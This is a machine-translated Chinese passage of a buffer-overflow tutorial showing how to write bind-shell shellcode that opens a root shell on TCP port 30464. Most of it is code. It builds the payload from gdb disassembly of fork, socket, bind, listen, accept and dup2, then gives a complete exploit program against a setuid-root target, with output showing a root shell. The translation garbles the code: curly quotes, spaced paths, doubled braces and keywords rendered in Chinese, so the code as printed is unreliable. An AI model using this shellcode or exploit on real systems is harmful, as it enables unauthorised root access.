-------------------------------------------------- --------------------------
#include <unistd.h>
#include <sys / socket.h>
#include <netinet / in.h>
int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
int main()
{
if(fork()== 0)
{
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(30464);
soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
soc_len = sizeof(cli_addr);
cli = accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl(“/ bin / sh”,“sh”,0);
}}
}}
-------------------------------------------------- --------------------------
用汇编语言很难做。你可以做这个程序
简单。
打开socketasm2.c
-------------------------------------------------- --------------------------
#include <unistd.h>
#include <sys / socket.h>
#include <netinet / in.h>
int soc,cli;
struct sockaddr_in serv_addr;
int main()
{
if(fork()== 0)
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0x77;
soc = socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli = accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl(“/ bin / sh”,“sh”,0);
}}
}}
-------------------------------------------------- --------------------------
编译和反汇编
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ gcc -o opensocketasm2 -static opensaloneasm2.c
[ohhara @ ohhara?] {2} $ gdb opensocketasm2
GNU gdb 4.17
版权所有1998自由软件基金会
GDB是免费软件,由GNU通用公共许可证覆盖,你是
欢迎在特定条件下更改和/或分发它的副本。
键入“显示复制”以查看条件。
GDB绝对没有保修。有关详细信息,请键入“显示保修”。
这个GDB被配置为“i386-redhat-linux”...
(gdb)反汇编fork
函数fork的汇编代码转储:
0x804ca90 <fork>:movl $ 0x2,%eax
0x804ca95 <fork + 5>:int $ 0x80
0x804ca97 <fork + 7>:cmpl $ 0xfffff001,%eax
0x804ca9c <fork + 12>:jae 0x804cdc0 <__ syscall_error>
0x804caa2 <fork + 18>:ret
0x804caa3 <fork + 19>:nop
0x804caa4 <fork + 20>:nop
0x804caa5 <fork + 21>:nop
0x804caa6 <fork + 22>:nop
0x804caa7 <fork + 23>:nop
0x804caa8 <fork + 24>:nop
0x804caa9 <fork + 25>:nop
0x804caaa <fork + 26>:nop
0x804caab <fork + 27>:nop
0x804caac <fork + 28>:nop
0x804caad <fork + 29>:nop
0x804caae <fork + 30>:nop
0x804caaf <fork + 31>:nop
汇编器转储结束。
(gdb)拆卸套接字
函数套接字的汇编代码转储:
0x804cda0 <socket>:movl%ebx,%edx
0x804cda2 <socket + 2>:movl $ 0x66,%eax
0x804cda7 <socket + 7>:movl $ 0x1,%ebx
0x804cdac <socket + 12>:leal 0x4(%esp,1),%ecx
0x804cdb0 <socket + 16>:int $ 0x80
0x804cdb2 <socket + 18>:movl%edx,%ebx
0x804cdb4 <socket + 20>:cmpl $ 0xffffff83,%eax
0x804cdb7 <socket + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cdbd <socket + 29>:ret
0x804cdbe <socket + 30>:nop
0x804cdbf <socket + 31>:nop
汇编器转储结束。
(gdb)反汇编绑定
函数绑定的汇编代码转储:
0x804cd60 <bind>:movl%ebx,%edx
0x804cd62 <bind + 2>:movl $ 0x66,%eax
0x804cd67 <bind + 7>:movl $ 0x2,%ebx
0x804cd6c <bind + 12>:leal 0x4(%esp,1),%ecx
0x804cd70 <bind + 16>:int $ 0x80
0x804cd72 <bind + 18>:movl%edx,%ebx
0x804cd74 <bind + 20>:cmpl $ 0xffffff83,%eax
0x804cd77 <bind + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cd7d <bind + 29>:ret
0x804cd7e <bind + 30>:nop
0x804cd7f <bind + 31>:nop
汇编器转储结束。
(gdb)反汇编侦听
函数侦听的汇编代码转储:
0x804cd80 <listen>:movl%ebx,%edx
0x804cd82 <listen + 2>:movl $ 0x66,%eax
0x804cd87 <listen + 7>:movl $ 0x4,%ebx
0x804cd8c <listen + 12>:leal 0x4(%esp,1)%ecx
0x804cd90 <listen + 16>:int $ 0x80
0x804cd92 <listen + 18>:movl%edx,%ebx
0x804cd94 <listen + 20>:cmpl $ 0xffffff83,%eax
0x804cd97 <listen + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cd9d <listen + 29>:ret
0x804cd9e <listen + 30>:nop
0x804cd9f <listen + 31>:nop
汇编器转储结束。
(gdb)反汇编接受
函数__accept的汇编代码转储:
0x804cd40 <__ accept>:movl%ebx,%edx
0x804cd42 <__ accept + 2>:movl $ 0x66,%eax
0x804cd47 <__ accept + 7>:movl $ 0x5,%ebx
0x804cd4c <__ accept + 12>:leal 0x4(%esp,1),%ecx
0x804cd50 <__ accept + 16>:int $ 0x80
0x804cd52 <__ accept + 18>:movl%edx,%ebx
0x804cd54 <__ accept + 20>:cmpl $ 0xffffff83,%eax
0x804cd57 <__ accept + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cd5d <__ accept + 29>:ret
0x804cd5e <__ accept + 30>:nop
0x804cd5f <__ accept + 31>:nop
汇编器转储结束。
(gdb)反汇编dup2
函数dup2的汇编代码转储:
0x804cbe0 <dup2>:movl%ebx,%edx
0x804cbe2 <dup2 + 2>:movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2 + 6>:movl 0x4(%esp,1),%ebx
0x804cbea <dup2 + 10>:movl $ 0x3f,%eax
0x804cbef <dup2 + 15>:int $ 0x80
0x804cbf1 <dup2 + 17>:movl%edx,%ebx
0x804cbf3 <dup2 + 19>:cmpl $ 0xfffff001,%eax
0x804cbf8 <dup2 + 24>:jae 0x804cdc0 <__ syscall_error>
0x804cbfe <dup2 + 30>:ret
0x804cbff <dup2 + 31>:nop
汇编器转储结束。
(gdb)
-------------------------------------------------- --------------------------
叉子(); 码
-------------------------------------------------- --------------------------
char code [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
插座(2,1,6); 码
-------------------------------------------------- --------------------------
/ *%ecx是所有参数的指针。* /
char code [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xf1”/ * movl%esi,%ecx * /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
/ *第一个参数。* /
/ *%esi在使用之前具有引用空闲内存空间* /
/ *这条指令。* /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
/ *第二个参数。* /
“\ xb0 \ x06”/ * movb $ 0x6,%al * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
/ *第三个参数。* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x01”/ * movb $ 0x1,%bl * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
bind(soc,(struct sockaddr *)&serv_addr,0x10); 码
-------------------------------------------------- --------------------------
/ *%ecx是所有参数的指针。* /
char code [] =
“\ x89 \ xf1”/ * movl%esi,%ecx * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
/ *%eax必须具有soc值才能使用此* /
/ *指令。* /
/ *第一个参数。* /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* /
/ * serv_addr.sin_family = 2 * /
/ * 2存储在0xc(%esi)。* /
“\ xb0 \ x77”/ * movb $ 0x77,%al * /
“\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* /
/ *存储端口号在0xe(%esi)* /
“\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * /
/ *%eax = serv_addr的地址* /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
/ *第二个参数。* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* /
/ * serv_addr.sin_addr.s_addr = 0 * /
/ * 0存储在0x10(%esi)。* /
“\ xb0 \ x10”/ * movb $ 0x10,%al * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
/ *第三个参数。* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x02”/ * movb $ 0x2,%bl * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
listen(soc,1); 码
-------------------------------------------------- --------------------------
/ *%ecx是所有参数的指针。* /
char code [] =
“\ x89 \ xf1”/ * movl%esi,%ecx * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
/ *%eax必须具有soc值才能使用此* /
/ *指令。* /
/ *第一个参数。* /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
/ *第二个参数。* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x04”/ * movb $ 0x4,%bl * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
accept(soc,0,0); 码
-------------------------------------------------- --------------------------
/ *%ecx是所有参数的指针。* /
char code [] =
“\ x89 \ xf1”/ * movl%esi,%ecx * /
“\ x89 \ xf1”/ * movl%eax,(%esi)* /
/ *%eax必须具有soc值才能使用此* /
/ *指令。* /
/ *第一个参数。* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
/ *第二个参数。* /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
/ *第三个参数。* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x05”/ * movb $ 0x5,%bl * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
dup2(cli,0); 码
-------------------------------------------------- --------------------------
/ *第一个参数是%ebx,第二个参数* /
/ *是%ecx * /
char code [] =
/ *%eax必须有cli值才能使用此* /
/ *指令。* /
“\ x88 \ xc3”/ * movb%al,%bl * /
“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
6.3修改正常shellcode
你需要一些工程来合并上述代码。
新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x85 \ xc0”/ * testl%eax,%eax * /
“\ x75 \ x43”/ * jne 0x43 * /
/ * fork()!= 0 case * /
/ *它会调用exit(0)* /
/ *要做到这一点,它会跳两次,因为exit(0)是* /
/ *位于到目前为止。* /
“\ xeb \ x43”/ * jmp 0x43 * /
/ * fork()== 0 case * /
/ *它会调用-0xa5 * /
/ *要做到这一点,它会跳两次,因为调用-0xa5 * /
/ *位于到目前为止。* /
“\ x5e”/ * popl%esi * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xf1”/ * movl%esi,%ecx * /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ xb0 \ x06”/ * movb $ 0x6,%al * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x01”/ * movb $ 0x1,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* /
“\ xb0 \ x77”/ * movb $ 0x77,%al * /
“\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* /
“\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* /
“\ xb0 \ x10”/ * movb $ 0x10,%al * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x02”/ * movb $ 0x2,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xeb \ x04”/ * jmp 0x4 * /
“\ xeb \ x55”/ * jmp 0x55 * /
“\ xeb \ x5b”/ * jmp 0x5b * /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x04”/ * movb $ 0x4,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x05”/ * movb $ 0x5,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x88 \ xc3”/ * movb%al,%bl * /
“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
“\ xb1 \ x01”/ * movb $ 0x1,%cl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
“\ xb1 \ x02”/ * movb $ 0x2,%cl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xb8 \ x2f \ x62 \ x69 \ x6e”/ * movl $ 0x6e69622f,%eax * /
/ *%eax =“/ bin”* /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
“\ xb8 \ x2f \ x73 \ x68 \ x2f”/ * movl $ 0x2f68732f,%eax * /
/ *%eax =“/ sh /”* /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ x5b \ xff \ xff \ xff”; / * call -0xa5 * /
-------------------------------------------------- --------------------------
6.4利用弱势群体4计划
有了这个shellcode,你可以轻松地做一个exploit代码。你必须
使代码连接到套接字。
exploit4.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet / in.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char Shellcode [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x85 \ xc0”/ * testl%eax,%eax * /
“\ x75 \ x43”/ * jne 0x43 * /
“\ xeb \ x43”/ * jmp 0x43 * /
“\ x5e”/ * popl%esi * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xf1”/ * movl%esi,%ecx * /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ xb0 \ x06”/ * movb $ 0x6,%al * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x01”/ * movb $ 0x1,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
“\ xb0 \ x02”/ * movb $ 0x2,%al * /
“\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* /
“\ xb0 \ x77”/ * movb $ 0x77,%al * /
“\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* /
“\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* /
“\ xb0 \ x10”/ * movb $ 0x10,%al * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x02”/ * movb $ 0x2,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xeb \ x04”/ * jmp 0x4 * /
“\ xeb \ x55”/ * jmp 0x55 * /
“\ xeb \ x5b”/ * jmp 0x5b * /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x04”/ * movb $ 0x4,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ xb0 \ x66”/ * movb $ 0x66,%al * /
“\ xb3 \ x05”/ * movb $ 0x5,%bl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x88 \ xc3”/ * movb%al,%bl * /
“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
“\ xb1 \ x01”/ * movb $ 0x1,%cl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
“\ xb1 \ x02”/ * movb $ 0x2,%cl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xb8 \ x2f \ x62 \ x69 \ x6e”/ * movl $ 0x6e69622f,%eax * /
“\ x89 \ x06”/ * movl%eax,(%esi)* /
“\ xb8 \ x2f \ x73 \ x68 \ x2f”/ * movl $ 0x2f68732f,%eax * /
“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ xb0 \ x01”/ * movb $ 0x1,%al * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ x5b \ xff \ xff \ xff”; / * call -0xa5 * /
unsigned long get_sp(void)
{
__asm __(“movl%esp,%eax”);
}}
long getip(char * name)
{
struct hostent * hp;
长ip;
if((ip = inet_addr(name))== - 1)
{
if((hp = gethostbyname(name))== NULL)
{
fprintf(stderr,“无法解析主机。\ n”);
exit(0);
}}
memcpy(&ip,(hp-> h_addr),4);
}}
return ip;
}}
int exec_sh(int sockfd)
{
char snd [4096],rcv [4096];
fd_set rset;
而(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<= 0)
exit(0);
fputs(rcv,stdout);
}}
}}
}}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf(“连接到shell \ n”);
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(30464);
sin.sin_addr.s_addr = ip;
if((sockfd = socket(AF_INET,SOCK_STREAM,0))<0)
{
printf(“Can not create socket \ n”);
exit(0);
}}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf(“无法连接到shell \ n”);
exit(0);
}}
return sockfd;
}}
void main(int argc,char ** argv)
{
char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
长加
无符号长整型
int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
int i;
int sockfd;
if(argc> 1)
offset = atoi(argv [1]);
sp = get_sp();
addr = sp-offset;
for(i = 0; i <bsize; i + = 4)
{
buff [i + ALIGN] =(addr&0x000000ff);
buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
}}
for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
buff [i] = NOP;
ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
for(i = 0; i <strlen(shellcode); i ++)
*(ptr ++)= shellcode [i];
buff [bsize-1] =‘\ 0‘;
printf(“Jump to 0x%08x \ n”,addr);
if(fork()== 0)
{
execl(“./ vulnerable4”,“vulnerable4”,buff,0);
exit(0);
}}
睡眠(5);
sockfd = connect_sh(getip(“127.0.0.1”));
exec_sh(sockfd);
}}
-------------------------------------------------- --------------------------
利用漏洞4程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable4
-rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4 *
[ohhara @ ohhara?] {2} $ ls -l exploit4
-rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4 *
[ohhara @ ohhara?] {3} $ ./exploit4
跳转到0xbfffec64
连接到shell
无法连接到shell
[ohhara @ ohhara?] {4} $ ./exploit4 500
跳转到0xbfffea70
连接到shell
我是谁
根
-------------------------------------------------- --------------------------
6.5你可以用这种技术做什么?
你可以使用这种技术来制作各种远程漏洞代码。如果
易受攻击的主机在防火墙后面,可以在未过滤的情况下打开一个套接字
港口。这是一个非常有用的技术,当你用缓冲区攻击rpc服务
溢出。
7.总结
本文介绍了四种缓冲区溢出技术。他们通过
过滤,将uid更改回0,断开chroot,并打开套接字。这些
技术将是非常有用的,当你试图做一个缓冲区溢出利用
码。此外,这些技术可以组合。
所有程序员在做setuid根程序或服务器时必须小心
程序!!!请小心!
缓冲区溢出漏洞
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。